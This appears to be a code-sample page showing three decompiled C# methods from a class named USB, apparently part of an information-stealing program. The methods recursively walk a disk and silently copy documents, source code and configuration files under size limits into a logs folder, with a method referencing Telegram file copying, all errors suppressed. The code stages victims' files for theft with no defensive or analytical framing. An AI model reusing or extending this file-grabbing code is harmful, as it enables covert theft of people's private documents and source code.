示例#1
0
 // Token: 0x060000D6 RID: 214 RVA: 0x0000A2D0 File Offset: 0x000084D0
 public static void CopyDisk(string DirectoryDisk, string LogsPath)
 {
     try
     {
         if (USB.GetDirSize(LogsPath, 0L) < 4500000L)
         {
             if (Directory.GetFiles(DirectoryDisk) != null)
             {
                 foreach (string text in Directory.GetFiles(DirectoryDisk))
                 {
                     string extension = Path.GetExtension(text);
                     if ((extension == ".txt" || extension == ".doc" || extension == ".cs" || extension == ".dll" || extension == ".sln" || extension == ".html" || extension == ".htm" || extension == ".xml" || extension == ".php" || extension == ".json") && new FileInfo(text).Length != 0L && new FileInfo(text).Length < 2500000L)
                     {
                         File.Copy(text, Path.Combine(LogsPath, Path.GetFileName(text)));
                     }
                 }
             }
             if (Directory.GetDirectories(DirectoryDisk) != null)
             {
                 foreach (string directoryDisk in Directory.GetDirectories(DirectoryDisk))
                 {
                     USB.CopyDisk(directoryDisk, LogsPath);
                 }
             }
         }
     }
     catch
     {
     }
 }
示例#2
0
 // Token: 0x060000D7 RID: 215 RVA: 0x0000A430 File Offset: 0x00008630
 public static long GetDirSize(string path, long size = 0L)
 {
     try
     {
         foreach (string fileName in Directory.EnumerateFiles(path))
         {
             try
             {
                 size += new FileInfo(fileName).Length;
             }
             catch
             {
             }
         }
         foreach (string path2 in Directory.EnumerateDirectories(path))
         {
             try
             {
                 size += USB.GetDirSize(path2, 0L);
             }
             catch
             {
             }
         }
     }
     catch
     {
     }
     return(size);
 }
示例#3
0
 // Token: 0x06000110 RID: 272 RVA: 0x0000CCE8 File Offset: 0x0000AEE8
 public static void CopyAll(string fromDir, string toDir)
 {
     try
     {
         Directory.CreateDirectory(toDir);
         foreach (string s in Directory.GetFiles(fromDir))
         {
             if (USB.GetDirSize(toDir, 0L) < 4500000L)
             {
                 Telegram.CopyFile(s, toDir);
             }
         }
         foreach (string s2 in Directory.GetDirectories(fromDir))
         {
             if (USB.GetDirSize(toDir, 0L) < 4500000L)
             {
                 Telegram.CopyDir(s2, toDir);
             }
         }
     }
     catch
     {
     }
 }